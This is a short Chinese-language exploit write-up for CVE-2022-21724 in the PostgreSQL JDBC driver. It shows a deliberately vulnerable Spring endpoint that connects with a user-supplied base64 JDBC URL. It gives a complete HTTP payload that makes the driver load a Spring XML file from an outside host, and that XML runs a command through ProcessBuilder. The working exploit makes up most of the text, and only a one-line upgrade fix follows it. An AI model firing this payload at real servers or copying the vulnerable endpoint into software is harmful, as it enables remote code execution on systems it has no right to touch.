CVE 2022 21724

漏洞代码

    @RequestMapping("/postgresql")
    public void postgresql(String jdbcUrlBase64) throws Exception{
        byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
        String jdbcUrl = new String(b);
        log.info(jdbcUrl);
        DriverManager.getConnection(jdbcUrl);
    }

postgresql配置：

        <dependency>
            <groupId>org.postgresql</groupId>
            <artifactId>postgresql</artifactId>
            <version>42.3.1</version>
        </dependency>

利用

payload:

POST /jdbc/postgresql HTTP/1.1
Host: sb.dog:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,fr;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 238

jdbcUrlBase64=amRiYzpwb3N0Z3Jlc3FsOi8vMTI3LjAuMC4xOjU0MzIvdGVzdC8/c29ja2V0RmFjdG9yeT1vcmcuc3ByaW5nZnJhbWV3b3JrLmNvbnRleHQuc3VwcG9ydC5DbGFzc1BhdGhYbWxBcHBsaWNhdGlvbkNvbnRleHQmc29ja2V0RmFjdG9yeUFyZz1odHRwOi8vdGVzdC5qb3ljaG91Lm9yZy8xLnhtbA==

base64解码：

jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml

1.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">

   <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>open</value>
            <value>-a</value>
            <value>calculator</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

修复

升级postgresql版本到42.3.2及以上。